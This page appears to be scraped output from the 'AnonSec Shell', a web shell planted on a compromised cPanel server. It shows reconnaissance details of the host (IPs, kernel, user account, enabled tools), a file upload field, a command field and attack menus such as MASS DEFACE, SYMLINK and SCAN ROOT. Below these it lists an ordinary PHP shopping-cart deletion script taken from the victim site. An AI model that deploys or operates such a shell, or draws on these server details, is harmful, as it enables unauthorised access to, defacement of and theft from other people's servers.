AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/include/ajax_delete_product.php
<?php
include('../include72/class.php');
$id_number = $_POST['chk'];

$nc = count($_SESSION['cart']);
//exit();
foreach( $_SESSION["cart"] as $key => $value )
{
	foreach ($id_number as $key2 => $value2) {
		if($key == $id_number[$key2])
		{
			unset($_SESSION["cart"][$key]);
		}
	}

}
$_SESSION["num_cart"] = count($_SESSION['cart']);
$i3=0;
for ($i2=0; $i2 < $nc; $i2++) {
	if($_SESSION['cart'][$i2]){
		$_SESSION['cart_n'][$i3] = $_SESSION['cart'][$i2];
		$i3++;
	}
}

unset($_SESSION["cart"]);

$_SESSION["cart"] = $_SESSION["cart_n"];
unset($_SESSION["cart_n"]);
echo "<script>window.location.href='../cart/list.php'</script>";
/*
unset($_SESSION["num_cart"]);
*/

?>

Anon7 - 2022
AnonSec Team